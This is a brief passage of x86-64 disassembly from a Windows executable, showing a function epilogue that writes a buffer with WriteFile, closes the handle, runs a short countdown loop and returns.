lea r9, [rsp + 0x6d0]
lea rdx, [rsp + 0x40]
sub eax, ecx
mov rcx, rbx
mov qword [rsp + 0x20], rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x80
nop dword [rax + rax]
dec rcx
jne 0x1400156a0
lea eax, [rcx + 1]
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6c0
pop rdi
ret